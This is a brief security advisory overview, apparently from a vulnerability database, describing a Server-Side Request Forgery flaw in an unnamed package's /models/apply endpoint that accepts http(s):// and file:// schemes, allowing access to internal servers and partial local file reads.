Overview

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) through the /models/apply endpoint. An attacker can gain unauthorized access to internal HTTP(s) servers and partially read local files by crafting malicious requests that exploit the endpoint's support for both http(s):// and file:// schemes.
